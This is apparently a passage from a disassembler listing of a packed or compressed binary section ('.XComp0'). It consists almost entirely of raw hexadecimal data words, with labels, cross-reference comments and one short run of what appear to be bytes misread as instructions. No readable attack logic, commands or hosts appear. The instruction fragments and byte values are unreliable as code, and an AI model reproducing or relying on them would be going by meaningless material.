		dd 80EA7787h, 0E347620Fh, 0DF274E00h, 0B17D2EECh, 24E000BCh
		dd 0AC5E4178h, 0E7002060h, 0E12C17BEh, 0B0A32891h, 0AB60E52h
		dd 277DED7h, 0A605E54Dh, 0C20BE280h, 0E40219CAh, 86358FA7h
		dd 6460400Ch, 0AFE20FD3h, 0EA0007B7h, 0A6B8476Fh, 0A3122000h
		dd 0B9466AE9h, 643500DFh, 1C26B24Fh, 492E86F5h,	0CB812434h
		dd 43992C0h, 24BADDF4h,	601824h, 464DABA7h, 0EB07D1EDh
		db 19h,	0ACh
word_535246	dw 8B81h		; DATA XREF: .XComp0:00452DECo
					; .XComp0:00453204o
		dd 91310980h, 0C6F4007Bh, 2A9793Bh, 41FE1FB5h, 2ACB0500h
		dd 4D26BE17h, 34EF4F6h,	1EE8AD40h, 0BC888D46h, 0B4139F4Bh
		dd 0E8005106h, 23081558h, 0EB20094Fh, 0F1806895h, 0F033931Ch
		dd 0B5D5F800h, 0B418E56Ch, 689F00C0h, 473017DCh, 8FA0A1A0h
		dd 9D01E0E8h, 0F94401A5h, 60807290h, 21160417h,	0A100F798h
		dd 0C70845F6h, 20DCCBDh, 383DFE1Dh, 0BCE0DC77h,	2A00E2D0h
		dd 14D6B70Eh, 751E8140h, 0CF8D0028h, 0F4A6691Ah, 0AF0056E3h
		dd 0D00BB5FAh, 3C17649Dh, 807ADE0h, 3D659ED5h, 6209D410h
		dd 7F13B900h, 90823E4Dh, 7B8600E2h, 6377A095h, 60480ADFh
		dd 0F7E871B0h, 8E6E610Fh, 482660C0h, 0FEF0E8D7h, 7A4500E7h
		dd 73A7D1F6h, 0EA00A007h, 475B5AE2h, 0D9BE9Fh, 0F4F37F99h
		dd 362F90F6h, 650006FEh, 0F2714D72h, 0B4D616h, 46371F21h
		dd 8B4428F5h, 29966A03h, 0C813CFB2h
		db 0D2h
byte_535345	db 0AFh, 0B0h, 0	; DATA XREF: .XComp0:00452F78o
					; .XComp0:0045325Co
		dd 0FC9FA316h, 0C7D8953Ah, 0ECD13900h, 0E0DCAD1Ah, 2A2F005Ch
		dd 0DE1005C1h, 3590881Fh, 33BCDB00h, 352C3027h,	40DD1418h
		dd 5F00BC80h, 56CDD11Ch, 11777024h, 3FEB3B00h, 0AE5BC154h
		dd 0CB320037h, 5A3390CFh, 0F31874BEh, 9910CE76h, 148211FBh
		dd 0B583507Fh, 0E4D45700h, 3B4038C6h, 1F1D3B77h, 4441EB9Ch
		dd 0B0912899h, 0B4A00AB8h, 4B00D97Fh, 95B00E5Ah, 0C7C962h
		dd 2275B26Dh, 3956718Ch, 4F17317Eh, 0BA041863h,	3C808715h
		dd 17C7D16h, 0FD5B801Dh, 205C0CB8h, 87002D8Dh, 59036885h
		dd 4A6A7772h, 4F9C144Ch, 282D8C00h, 3FBDB4A9h, 52D79714h
		dd 1869BEh, 37BBC69Dh, 0F950053h, 6BF34DDEh, 300F0C3h
		dd 0D7D3850Bh, 90224A31h, 19940070h, 0DDD53938h, 0A001143h
		dd 7D5BFCEEh, 6E9451Dh,	2BD488EAh, 5CA0F0A0h, 8C3F37E7h
		dd 0B7C59751h, 0D35368C0h, 3FB0F840h, 0DE971F50h
		db 0F2h
byte_535449	db 0, 98h, 10h		; DATA XREF: .XComp0:00453234o
		dd 3533E5EBh, 0C1B94B00h, 558AF1FDh, 0C1E004Fh,	3B1DCD48h
		dd 0D0063AAh, 0C9EB26C6h, 380E75E2h, 5EBEB1EFh,	8A2A480h
		dd 1F2344FEh, 24991900h, 0EF713091h, 6570384h, 0F91AAF61h
		dd 0FC9650C1h, 5C0E7E82h, 4079040Bh, 36B4B37Fh,	8AF20007h
		dd 73F03E31h, 6C0FD199h, 207D18E9h, 9AAC20F8h, 0EBB50026h
		dd 0D2A14C45h, 0FF004D43h, 8195944h, 0EBAE597h,	3DA2CA91h
		dd 61E3CB40h, 0EFE64C50h, 0A89C5C07h, 0C0BF6F22h, 0DD297EBAh
		dd 1C534DBCh, 79803300h, 0CC017691h, 7226B600h,	9C5DEE7Ch
		dd 0BFCE0052h, 3EEF6A5Ch, 9D002BCFh, 86A5D98Ch,	7EA27526h
		dd 4F2F01AAh, 0B9419E90h, 6CCED52Ch, 6EED0038h,	4BD18DFDh
		dd 0F8737023h, 0CBB70056h, 0FF7C2254h, 0B60B13C3h, 808C389Dh
		dd 7ABDC6D2h, 8DF6012Fh, 0C147326Fh, 90108054h,	54D3D38h
		dd 0D3B40099h
		db 77h
; ---------------------------------------------------------------------------


loc_535541:				; DATA XREF: .XComp0:00452D44o
		mov	dh, 59h
		mov	ds:300DFDDh, al
		xchg	ebp, ebp
		retn
; ---------------------------------------------------------------------------
		dec	edi
		mov	byte ptr [esp+edx*2+1AB06400h],	7
		xor	dh, [eax]
		ficomp	word ptr [edx+71h]
		fiadd	dword ptr [eax]
		retn	3304h
; ---------------------------------------------------------------------------
		dw 5BBAh
		dd 3B4F56h, 9C15D844h, 0E3888626h, 29C67B00h, 0FC5B4636h
		dd 0F07C0095h, 0D106F8B4h, 430EF9D0h, 60811BDDh, 0A67058A7h
		dd 0FB80919h, 34000994h, 0F02152F4h, 0C9068F30h, 0DA237Eh
		dd 0C5403189h, 0F7225DBEh, 0B6004378h, 878BCBA8h, 75FBDB97h
		dd 9ECC00B7h, 3937984h,	81073D41h, 3392A5E8h, 47BAFA81h
		dd 0C65CF4h, 0B5752CE6h, 2B356C2Fh, 4C558203h, 0C24BDC66h
		dd 0B7D8407Ch, 5CAC00A4h, 0F3B0A35Dh, 0E83BD66Dh, 0A81400F2h
		dd 5236E37h, 0FBAE004Fh, 60984219h, 9D0E8BC7h, 0A0A4354Dh
		dd 0BEEDCA77h, 67270020h, 6AFE82D7h, 2D169316h,	0FD09BF8Dh
		dd 0C9BC2F61h, 99C8C0D8h, 217E009Eh, 6776EC85h,	3F03E941h
		dd 0D4A96AA8h, 898C8CFh, 0AC6C01C2h, 65B18D84h,	3317033h
		dd 11EA7F31h, 6920400Dh, 0F61B006Fh, 0E3C5264Ch, 7A0C4D78h
		dd 294BB2B6h, 7C3C07DAh, 0E18980D6h, 6C73DBCEh,	7A420944h
		dd 0FE09F5h, 48D51B98h,	8B5F005Dh, 0B2EA0E76h, 0AA002158h
		dd 4187538Dh, 127156BDh, 827AD308h, 2B112DD8h, 19EFFCh
		dd 4F14082h, 0F157055h,	0A5716C00h, 9034F7E0h, 1A330064h
		dd 0CDB45818h, 0D53A0B81h, 75C0115h, 0DA916F56h, 4A7A66D4h
		dd 1801EB8h, 999253Fh, 208840C0h, 471C42F6h, 0ACA8CBE1h
		dd 5A10E543h, 0D6D009Dh, 43293488h, 0EB9C02EEh,	2A80D3E7h
		dd 2FE16860h, 220158h, 291E5F4Ch, 58AF2E55h, 5B0048A7h
		dd 0A0E9B561h, 0F90060AAh, 7F63A3Bh, 0E43270h, 264F28Ah
		dd 3630621Bh, 6C518807h, 0E36021F1h, 31821Fh, 23C30CE5h
		dd 561AFCE6h, 0EA28E0F5h, 863B5Ch, 73C2C583h, 6D044Dh
		dd 0BC37A5BFh, 0C62A6F79h, 68A35730h, 4AF2DAh, 0B728156Bh
		dd 4CF89E9h, 4C566400h,	0C822E237h, 9CF7002Ch, 0D87C81B8h
		dd 0D6074679h, 9686B997h, 50D5F980h, 0B0FA000Ah, 0A6D0753Bh
		dd 9B00D75Eh, 0CAA57E06h, 47A740h, 0B323D955h, 0AFBC0377h
		dd 843B7AE6h, 240CCC7Dh, 0F00018D0h, 0F408D86Ch, 68D0E0Ah
		dd 0F2C35317h, 74F8A520h, 0C80FD59Ch, 800ED105h, 0F11861A7h
		dd 0FD573998h, 0D48312A5h, 0F19CFCD4h, 676430B8h, 8C0A7213h
		dd 17267700h, 1A5E3FAh,	867162EBh, 800E3B8Dh, 75346662h
		dd 3B98D914h, 3E8FCB59h, 4940B75Fh, 939A8838h, 9EEC2B00h
		dd 0D238083h, 24F00BD0h, 0B000175Fh, 59928890h,	9E0085EAh
		dd 66E083A5h, 3CA7AE26h, 4980A063h, 0C0FD5843h,	0CC3BBF6Ah
		dd 1F65C52h, 0E0D77A2h,	80814D03h, 113AD080h, 9648873Fh
		dd 3130A282h, 9849053h,	0BC6875E8h, 14462CE0h, 9B1AEA00h
		dd 3266279Dh, 7B357C25h, 5E210397h, 8642C443h, 0FEC2581Eh
		dd 9FE78947h, 477A0F01h, 0AF27E8h, 4F58450Bh, 7692ABBh
		dd 0DFC9900h, 24EAE0F9h, 0A688CB97h, 75FAC781h,	0E160DE74h
		dd 0F397217h, 924F85FBh, 0C8D7200Dh, 0F4A97590h, 77560B2Dh
		dd 63005FFAh, 0B259201Fh, 96F8D800h, 858499E2h,	6EF316B7h
		dd 561C0068h, 0AB428A0Dh, 23271D73h, 20D57EEBh,	0F25E00F8h
		dd 9FDD12FCh, 98A08D0Ch, 110199F9h, 7B2227ACh, 6C2002BDh
		dd 2F1E0064h, 5F62D84Ah, 7000AC09h, 8583F51Ch, 0DD9BE6h
		dd 2FE53520h, 149D57DEh, 0B2566D0Bh, 0A9DC078Ah, 973E45F3h
		dd 181C7500h, 16E01EFh,	0F2769B81h, 9A69800Bh, 0CE0E1D19h
		dd 0B21A07F9h, 0F08B1B07h, 372EDB1h, 2B4FA400h,	30C3D150h
		dd 0DCF005Ah, 0EDD95F12h, 23E112Fh, 83228015h, 0FAB63334h
		dd 0F773C99h, 589BB30Fh, 0AC3D3665h, 9EE900D6h,	52DD7D2Eh
		dd 0F5B0033h, 20DF3474h, 491DEBCAh, 6C0048FCh, 0AEF83D5Dh
		dd 0B410006Dh, 0EA3CF1C7h, 0D14A3273h, 22441Ch,	0C9A2DCB6h
		dd 3ACC15B7h, 9C859800h, 3E338CE6h, 0F25205DAh,	83383627h
		dd 8E0867Dh, 0DD586955h, 0F64903C4h, 1C464B8Bh,	0C8E811h
		dd 9197D72Bh, 0F100CEA1h, 0CAE52554h, 0E67981C5h, 0BA9D245Fh
		dd 78883021h, 0FC009FE2h, 14F13CEAh, 3A0DA87Bh,	3280ADD4h
		dd 3EC9A5D8h, 77004FDFh, 0CC1B6ACh, 0F0ED6Dh, 0EE105189h
		dd 8144E5C5h, 0D1655B00h, 0CB6ADE7Eh, 805700E2h, 4127B161h
		dd 6D015832h, 0DF10150Ah, 308B93B3h, 0C0682333h, 1B13BA42h
		dd 9A006FE7h, 2D112513h, 0C9E48Ch, 7F7E2C41h, 2BB69856h
		dd 0EB0067E6h, 81650506h, 7A55978h, 7E7D89AEh, 8C90B9C2h
		dd 30009E74h, 0B32D185Dh, 0F23E6BFh, 0B7F588C9h, 76475B60h
		dd 0B00025F9h, 13CDBDDh, 0F452C4h, 41886A17h, 50832912h
		dd 0F0E0EC03h, 0B8E45911h, 3F2CFF70h, 0E280BCD3h, 63C6ED55h
		dd 0F400511Dh, 5D28CC36h, 0F87E3Bh, 7F94182Dh, 69D4B270h
		dd 0D6351D05h, 0AC0079F7h, 82EF166Bh, 0D7B6005Ch, 0C4A433DBh
		dd 0E4EA53DDh, 6C4D2514h, 0ED7700EAh, 8F9FA218h, 9740052h
		dd 7C635314h, 2C003B37h, 0B39C4A7h, 0F862C0B2h,	25E00092h
		dd 5405A05Bh, 1704D795h, 0DB63B52h, 2D0070F8h, 124D3D2Fh
		dd 3300630Ah, 77968340h, 62170Ch, 53BC3F3Ch, 4C7FDE76h
		dd 5FFAE00h, 35EFBA7Eh,	0F2AF064Eh, 10948086h, 0F8513Bh
		dd 0B4990A0Dh, 763893h,	19B8BCE8h, 0E60183CEh, 313DB102h
		dd 5045A51Ch, 11FF0278h, 0ED46978Ch, 902E1858h,	1F00AC9Ah
		dd 33FBA0FEh, 362800F4h, 4A4DE3DEh, 84B07EB4h, 8F6EF63Ch
		dd 40F7E49Eh, 0B75ADE1Dh, 919D01A1h, 714DF537h,	7E98686Ch
		dd 26EFD707h, 99E2F05Fh, 7A48E043h, 92820B25h, 9082679Bh
		dd 8CA08CC2h, 7EED7D43h, 4A0B6870h, 8127E277h, 0D055658Ch
		dd 0F672D0h, 2244D13Ch,	77A0C502h, 3F056A00h, 1B26A775h
		dd 9F4800B6h, 2BE635BEh, 0E4ECEE56h, 19715C30h,	1B79A3F7h
		dd 0F0EB14EDh, 0E6C6CD80h, 79885448h, 9C96D600h, 624FEA5Ah
		dd 1C7E00B9h, 94938972h, 0D1A3EC1Bh, 6A243801h,	6E35B0Fh
		dd 7E3DD0h, 0A55F89EEh,	0DB33929Ch, 14454B1Fh, 38D8A787h
		dd 5D6AC540h, 0DCEA0041h, 0F0EEE67Fh, 0FE001375h, 76C95566h
		dd 0F1060B36h, 80326080h, 0D8972753h, 355CE500h, 98704187h
		dd 664900E3h, 0D6E945F8h, 0B2008AC0h, 2FB66A8Dh, 12D8FC4h
		dd 21601D67h, 60573F17h, 2300A4FCh, 0E0ED1E5Bh,	0E3B880h
		dd 999B094Ah, 0EAAC0FB2h, 8C3D2900h, 3E4B7F22h,	0F9670B3Fh
		dd 83804441h, 0F2923143h, 38005478h, 0CD86B8E4h, 77532621h
		dd 6A9800FBh, 0CAE692C5h, 0AC2C6585h, 0B424B3CFh, 0DE96E000h
		dd 0E0B2BA3Dh, 0AAFB180Eh, 77DDE34h, 0E160D3Ch,	77A3B35h
		dd 0B8B5531Bh, 88ADCDC0h, 7C520669h, 106D54B7h,	7F216800h
		dd 0E22DA661h, 8CD72DE3h, 0B747DC8Fh, 70600919h, 0F5053079h
		dd 88F15C4Ch, 0C0FA0B0h, 4833C1ECh, 0AC00D211h,	0D054088Fh
		dd 5EFD07h, 8957D985h, 2A6D6960h, 0D4183903h, 0F7AA4C71h
		dd 0AEA3E820h, 0C0954AB9h, 0B40F8D7Ch, 30C58A07h, 0ABF08327h
		dd 0DA9088h, 0DFCF78E4h, 0E35C569Fh, 82C4A901h,	6CAE0363h
		dd 9313420h, 87553E1Bh,	0A8C80D09h, 8C0E8F24h, 202D4C27h
		dd 7FC3AE3Fh, 0B49A1CB9h, 0D7FA41FDh, 68766D55h, 807A3FB4h
		dd 56DFA409h, 72F05E97h, 414D054Bh, 80FDC628h, 5D92CDE7h
		dd 80CA5200h, 8FF407DFh, 0F30A0042h, 0DA670646h, 4D037A7Dh
		dd 27BA9ECDh, 65FF8886h, 5CF100FCh, 5A0B3CB8h, 870D4F8h
		dd 602C2500h, 0F56C899Bh, 4E024C2Eh, 73A94800h,	91A3AD18h
		dd 701CE2B0h, 0A4C32412h, 80B30CB6h, 7D8C410Ah,	2E0300F0h
		dd 20A2332Fh, 1C386DB5h
		dd 0AC190037h, 0D91861D1h, 9DD000BAh, 1AF6D25Dh, 0B2003DADh
		dd 8C5EEE32h, 1CC1936h,	0C106AE48h, 2AC7CE79h, 0C5158400h
		dd 0F59EA3h, 1BB16D7Ah,	6F01E02h, 0DC5AAB00h, 60985BA9h
		dd 7B58FAEAh, 924D00A6h, 4950E589h, 0BF029DD6h,	54D97984h
		dd 96BB8145h, 0C2307A87h, 1D57B44h, 8CD3ACE0h, 3B02568Dh
		dd 85923840h, 0EFA42D1h, 0A786AA8h, 899C708Eh, 70D92023h
		dd 81C46810h, 0E0AA00E3h, 9CD18094h, 0FB5B0010h, 8E16D931h
		dd 8D461A00h, 0F7A96740h, 3B02073Dh, 0BE94AAC9h, 52D4C6C1h
		dd 0FDCE4053h, 0C2000B95h, 92E2DA25h, 1F46D148h, 5B086Ah
		dd 0FF932132h, 0B252A08Ah, 69ED8860h, 694690D0h, 0C7099B02h
		dd 0AE80D15Bh, 0AF62FEA6h, 66504427h, 0EACB0078h, 0B32A195h
		dd 0C500F5A0h, 9D2EF9Eh, 731845AFh, 0D270060h, 3193A8D7h
		dd 5E00D1ADh, 0CB20FD80h, 3FC729FCh, 1F6CC17h, 4B5CA467h
		dd 0FC38CF91h, 5F00DB37h, 47EA65CAh, 8019Fh, 0C2E7EE15h
		dd 0F134E8DDh, 7C9A58h,	492C0BF7h, 7EC3EEDh, 0CFFAC356h
		dd 4D404E8Ch, 0C07DA3B0h, 17CC6C00h, 9BDFE291h,	8767003Bh
		dd 2BE5711Dh, 0FB0EDEA3h, 0A03F4EA5h, 397225C1h, 50A000F1h
		dd 0FCADC355h, 0F502C59Bh, 6E0EEB33h, 2994A009h, 0FED891B2h
		dd 6D9C2D13h, 0CDE900A1h, 0E705E426h, 0A630800h, 3543403Bh
		dd 56D4E980h, 7A53F03Fh, 39049095h, 16A75EA1h, 500D4C41h
		dd 0EE70AAD4h, 0D087F100h, 450EB88Ch, 37471FE4h, 0DBBB0981h
		dd 6D110001h, 34799C73h, 0E70C1CC3h, 7AFFE814h,	7EA57E91h
		dd 0B1E100A3h, 90705350h, 0E90076FEh, 7F68699Dh, 0E0C32320h
		dd 9F1B0F48h, 0D8E01385h, 919B94C0h, 0A12CDF4h,	6C40FAFEh
		dd 2F418A86h, 9C0F0717h, 3005564Fh, 0A08CA522h,	0EFD6A100h
		dd 92CFC425h, 5FD11886h, 0D30D10Ch, 5E2DF100h, 5C7604BDh
		dd 0E940E6DEh, 0E4625D4h, 915FA157h, 6ED8D180h,	5D008F84h
		dd 0ECA256A9h, 1F540C8Ah, 788329Ch, 0C0D81B87h,	44402F09h
		dd 0F289F00h, 0D1A7737Ch, 0DBEC0316h, 0F314A02Ah, 216F0830h
		dd 0E0D1DF54h, 0DCB54C3Dh, 2D6E1F00h, 65A49D0Bh, 0D6937C01h
		dd 2C8B6C0Eh, 80130BCh,	0B73EBD37h, 0AF9FC04Bh,	0EE609C6h
		dd 0E87E20h, 164409BDh,	0AA7DD6DAh, 6F83B0Ch, 62B65828h
		dd 0F2A68BBh, 11217D0Fh, 0BD758712h, 315BB632h,	3CF210E0h
		dd 88C900BDh, 0A894560Ah, 970AD8E1h, 8C51F442h,	95E28A00h
		dd 0C053BC62h, 94C51310h, 0AF007C29h, 250C077Ah, 0DB3BD3h
		dd 15EB7617h, 71E3102Ch, 621F0D7Bh, 5540B25Fh, 0D457A435h
		dd 0A7D1001Eh, 7F664C95h, 0FF03EC4Fh, 992983EEh, 3E039B88h
		dd 0F400B642h, 9E848737h, 330E9A45h, 63E61E3Bh,	909BCD1Fh
		dd 0F8E56F1Dh, 0DF5800FDh, 52F6DB4h, 0EB05EAB0h, 0BF7F4629h
		dd 0AED93D80h, 1ED60238h, 35E8AD16h, 3696E840h,	6B0052EEh
		dd 975DBCCCh, 0F4B92DEh, 7688F257h, 48A03DA0h, 29008B5Eh
		dd 0DA219BBDh, 5AF4B0h,	871C89E5h, 0E9E28330h, 0AC7EC700h
		dd 7CE849AEh, 1954003Ch, 4ACBF5F8h, 0C43EE1C3h,	449B0F61h
		dd 95ECA1B3h, 84E4BD2Dh, 88DA0042h, 37B982C6h, 0D0001C10h
		dd 0DD51B4C1h, 0B1FBABh, 3C5E0A85h, 3A28A295h, 29E09B1Fh
		dd 13735F40h, 2CEEC8DAh, 2C8C16h, 0B62B98CBh, 2700A449h
		dd 7686D71Dh, 0ED8D08Ah, 0F23DFA5Fh, 0E21CD6C0h, 2D7C70C5h
		dd 0D5E5CC00h, 941ADCDFh, 0EDC0007Ah, 0FA1BA6F6h, 157B1D03h
		dd 0D100D0E0h, 280F058Fh, 0B08CA783h, 64C300D8h, 0E3532465h
		dd 90088DFh, 0E12A615h,	3F6591Dh, 80FCC435h, 903BC5BBh
		dd 31443064h, 3EC7A8BFh, 0F4963Ah, 0D8A9EC85h, 0B892C3F0h
		dd 3BA0A318h, 39E10328h, 8007C134h, 0A0E06475h,	6BC5E695h
		dd 8009AC3Bh, 0E108A890h, 3B1AEBh, 87E535D6h, 88148DF2h
		dd 7CEED00Ah, 0E980BC65h, 130B86CAh, 0CC850024h, 285A1D67h
		dd 21187EF7h, 0AD403A1Ah, 0FAEECDh, 0B2BBCA3Eh,	8728612Eh
		dd 6047403Ch, 49F0C180h, 0C2D249Dh, 39003D06h, 6B41199Fh
		dd 4D3B7D3Ch, 5E968184h, 0B183BFE5h, 4C09E0h, 30885C8Fh
		dd 2B7B6BC8h, 0FFBC0500h, 17BD440Ch, 4E5F3E1Bh,	59087700h
		dd 982291EDh, 99213D0Fh, 678408Dh, 0F612F93h, 0E244330h
		dd 0D535A400h, 1D242985h, 0AA801472h, 6A508F53h, 31B00C3Bh
		dd 46208AC9h, 0A60059E0h, 0BC973E44h, 0E4E369Fh, 0D313910Dh
		dd 0F4A91B40h, 6B00C412h, 0F717C821h, 0DEB5ECh,	0F1D62242h
		dd 0C39802EDh, 1CCBBF1Eh, 8BC0515Dh, 0FCD0C53Ah, 0F6F05Ch
		dd 7DAF4914h, 0D83D2790h, 831EB400h, 7BB797EEh,	0A89D5BE0h
		dd 4DFA0023h, 4967FEFCh, 64B60F53h, 55E7595Ch, 0C602F83h
		dd 1325ACD4h, 60736900h, 21B6B806h, 1E6A78DBh, 1C3EADAh
		dd 0FC1E6F8Ah, 0F4D6FDF3h, 0C8FA1D89h, 0FBC6ED04h, 0F480120Fh
		dd 0FE2A038h, 0BCC49DD0h, 772399A7h, 87FDB1F9h,	5040EAD2h
		dd 0E700AA3Ch, 959711BFh, 0E35659h, 0F19F58Fh, 602DA4FDh
		dd 0D2001EF4h, 0C77FB64Eh, 1C91817Ah, 641BBFh, 0C01FB0AAh
		dd 5C05FF17h, 50766636h, 156FE000h, 95E9E9Dh, 0BF10614Dh
		dd 0B6A13801h, 366D0016h, 20BC00CBh, 878EBBE4h,	0CE008154h
		dd 2C86FCFAh, 0BA611Fh,	0B9DC6AF2h, 6627D595h, 41675900h
		dd 0F9E94FD3h, 0E39E25CDh, 0CF009076h, 0B8D00F2Dh, 42AB0093h
		dd 82A0D5FFh, 4AFC0B97h, 0BB40531Dh, 706988C0h,	13767B1Ah
		dd 0E14B1Bh, 8AB18243h,	0EA249953h, 450778E7h, 7890CE65h
		dd 240F84h, 0B81FD99Fh,	10ADA757h, 59775D03h, 0A87F79DFh
		dd 0A416EAh, 5FE5A21Dh,	9FD408C5h, 8017D738h, 1366B72Ah
		dd 5DE926h, 2236CB3Ch, 0F3BA7DAEh, 0F743D0EDh, 85E0E41Eh
		dd 3513DC66h, 2BFA3500h, 6FBDE5h, 2230ACC6h, 52D701D4h
		dd 1C1E8903h, 0A0B051C4h, 117160Bh, 676155C2h, 0DCFCDE7Eh
		dd 3D5C21D3h, 9AAB00E0h, 2DC7BA0Eh, 0C6FA0440h,	87BE1E51h
		dd 0FDDBE000h, 0A007F3BCh, 0D3192354h, 28643EE0h, 0E8D53BFCh
		dd 407FCA9Fh, 4B516C04h, 0E1314601h, 0AA60C021h, 120A81ECh
		dd 401B259Ah, 0AD179D20h, 409818D7h, 5DA15100h,	559C4EF9h
		dd 8A7581h, 0F715802Ch,	17869BFBh, 246C5300h, 7DD7C471h
		dd 2F40081h, 6018BDA6h,	9200405Dh, 0E806DF8Dh, 18C30E33h
		dd 19203ABBh, 900011A2h, 59BCC9F5h, 0E050635h, 0DCBBE5D2h
		dd 0DA788360h, 0F70036AFh, 17728655h, 0FD127Fh,	894DF563h
		dd 32FEC0B6h, 6561F200h, 92E3EF36h, 74C900D5h, 0B3B612ECh
		dd 30014C5h, 6120777Ah,	1C8E821h, 0FFD22B91h, 0D45F19A3h
		dd 171723F3h, 0B20089A9h, 0CC4E5E7Dh, 3A350077h, 63110F88h
		dd 90004C4h, 0E6568723h, 0DC0E34h, 0B01CAD4Fh, 0BE647E4Ah
		dd 0AC83A502h, 4092E0C5h, 9433894h, 0F9E34F62h,	0D4494001h
		dd 37C0E03Eh, 9D7CB00h,	42AEDA9Eh, 3F26006Dh, 0BAFD383Ch
		dd 0E4000FD4h, 2A6F319Bh, 0FE329DF6h, 76733C63h, 0A41107B0h
		dd 4CFA4A31h, 9AFD8600h, 670A2975h, 3D092AFh, 0CD5D224Fh
		dd 0BD905915h, 1100D7C6h, 7E8FB58Eh, 0FEB69565h, 93F4B7h
		dd 0DA082889h, 500A381Fh, 0CAA94800h, 0C88BFD3h, 7AC60C12h
		dd 0D4789E37h, 676BA000h, 1146476Ch, 2EEC0091h,	121A33CEh
		dd 2902373Bh, 573E92D8h, 0D1F480F8h, 52ADD20h, 2EB6F5C0h
		dd 83D7C7D7h, 9E8C419h,	4B00F612h, 0CE30A7FBh, 721483FFh
		dd 54B12892h, 2CF110A8h
		dd 6DF80036h, 0B506ED3Fh, 0D8DF044Bh, 80BFD063h, 40194D88h
		dd 82BB2F3Eh, 0B01EF65Bh, 636C4094h, 135F00CFh,	0BAE2D1DBh
		dd 0BC04BDC5h, 43EE2B24h, 0E25084B0h, 9F86004Dh, 8C96C25Ch
		dd 0FD01B2CFh, 63BA18B5h, 1081CD93h, 7E6CF43Ah,	0DA9BD0F0h
		dd 3FCA1D00h, 0C8CE64A2h, 752F032Ch, 0B32859BBh, 261AD0D0h
		dd 4CF47F26h, 0D218B901h, 3820D3CFh, 0BCEA03FBh, 0ED9AC6ABh
		dd 712782B0h, 43868400h, 0C4E7A79h, 16170E45h, 0E55477EFh
		dd 51F4FF04h, 0D834C054h, 7A1D297Dh, 0D54FADEEh, 976F6304h
		dd 0CE1003EBh, 36C944A9h, 0C76C3BD8h, 8C24E801h, 180912CBh
		dd 373E020h, 0B8870D6Fh, 40D2F667h, 71AD8AC0h, 42124301h
		dd 2959130Eh, 241F0E70h, 3B72BCh, 5B58C58Ch, 0B30CB72Fh
		dd 50E3B226h, 435A3B74h, 0BD87B500h, 0CA60C1E7h, 6D201903h
		dd 0B06CCF4Eh, 1C495570h, 40615275h, 53634071h,	16008379h
		dd 1D32AC42h, 0E607DE1Fh, 0B1B70023h, 9785EFF6h, 0C5000C16h
		dd 35FA1AD6h, 486355h, 590A3B2Eh, 61F6A319h, 3F312C07h
		dd 2F65CFBFh, 0D46D02C0h, 85460070h, 43A630E7h,	381E8EFAh
		dd 4080AC90h, 9DAD389h,	95C000B1h, 0E2DB2923h, 8807E7ECh
		dd 0BE0CBDCh, 0B22108E0h, 5E800031h, 0B3AE2844h, 8900CCC7h
		dd 94FA8520h, 581760h, 35CD27FBh, 0F93DDBA5h, 0D3348813h
		dd 6015000h, 0BBAB616h,	0A9BF553Ah, 9939D600h, 7A0067A2h
		dd 3BEF30A4h, 4375C7h, 7D1D7056h, 9A79ABD9h, 0F276B38h
		dd 40FD8EE1h, 5C976E58h, 49590084h, 6134BF09h, 54012806h
		dd 5FCC30ADh, 55F8A681h, 13781E5Ch, 0FF664115h,	0D0E208D7h
		dd 0B0E493C2h, 0C84C5928h, 46322B00h, 0D33EED40h, 0AA770044h
		dd 85B08151h, 6100B150h, 99343CA0h, 38305978h, 0BE3D9CE7h
		dd 0F6BD253Ah, 85796480h, 6711263Eh, 0FB861700h, 0D6FF89CEh
		dd 0E8D109F2h, 0C000224Dh, 0F9F7AC48h, 9EA68318h, 0BC2EA8h
		dd 5D67FFFBh, 304E41A5h, 0BD253500h, 0A2C7C8ACh, 0A8D34D5Ch
		dd 867BB109h, 0EA415905h, 0D582DC80h, 47EE00D4h, 852BFF8Dh
		dd 0DE00D1CCh, 1C0EBF4Dh, 0A4D8B1h, 0E69872DBh,	0C9F1EE1Ah
		dd 7A18DF03h, 0B09BBE31h, 1DE0D63Ah, 2E51CBCh, 0DA94BB5Dh
		dd 5A3AC458h, 62170355h, 3A1CF781h, 137BEA08h, 5D9A7B3Eh
		dd 0A15DC94Ch, 0C024E841h, 0E0EAD27Ah, 0ED887907h, 58B10792h
		dd 4DCC1516h, 6BE200ECh, 3C757AF1h, 0E600233Eh,	54E16233h
		dd 3EA19555h, 4B006014h, 179E8E6Dh, 0E60FA01Dh,	40FC0192h
		dd 0F708D544h, 0CF8D30A3h, 813A1DA8h, 599B83Ah,	254FAA1h
		dd 364808h, 4F03E1FBh, 0F60B812Ah, 0A0A21A54h, 7A084C58h
		dd 783E282Dh, 0F13D0068h, 9E4F5358h, 6607D524h,	0A05834Ch
		dd 0F9497CA0h, 3F4E00CFh, 55268B0Eh, 6374DF99h,	96237601h
		dd 1E869272h, 3A2114DCh, 0F000D462h, 89C98A04h,	41FA68E0h
		dd 0E5A63Ah, 88E2CE25h,	240F2h,	102C6FCCh, 0F36360D0h
		dd 302EC409h, 0A9910A38h, 1D451401h, 99D8BBDBh,	0A5B81F5Bh
		dd 0CA9C0B2h, 17AE0FECh, 0CF79ED0Fh, 968380ABh,	48C01A34h
		dd 91006B9Dh, 7F5E84EAh, 3701307Ah, 0C841B1D6h,	0E160BE86h
		dd 9BCA0003h, 71AFF250h, 0C670B6CCh, 6C94B454h,	39C8EB0Dh
		dd 40F11ADh, 28C503B7h,	82A51000h, 23A3CB1Ch, 57321725h
		dd 7360055h, 245D9954h,	0CB4C5007h, 291C22A6h, 1E3144D1h
		dd 28DC3998h, 44B5C43Ch, 2284BD20h, 0EC422DE4h,	0E923447Bh
		dd 54EB2284h, 0CA8BC875h, 40152429h, 75E54E8Bh,	52EB0B1Fh
		dd 0F4808DBFh, 51FE255Bh, 0ED8ABA04h, 89C074ECh, 0A722AEh
		dd 72320BDAh, 0AA5FD2EBh, 36173307h, 0BA27D16Ch, 34223B40h
		dd 0AF03032Fh, 0A30578AEh, 933F5FB8h, 6C1C2EFCh, 98F1F6Eh
		dd 0F6CA204Bh, 6FA0DFh,	18B26DD8h, 530660Dh, 0C69A6800h
		dd 75B0CEF9h, 471A002Ch, 9C7F7E2Ah, 62075779h, 580EC07Ch
		dd 1F3353h, 23F28741h, 8EE38FADh, 56D49900h, 49B73237h
		dd 355F4805h, 0D3F22A00h, 6662FC84h, 0E20077B8h, 1576282Eh
		dd 3E2C1C83h, 0AE81429Dh, 0A9D9C24Ah, 8719836Eh, 0C1F8F527h
		dd 0B4E82AC7h, 0F16D5BC3h, 0B9F640BCh, 0C922C28h, 0DB4D6200h
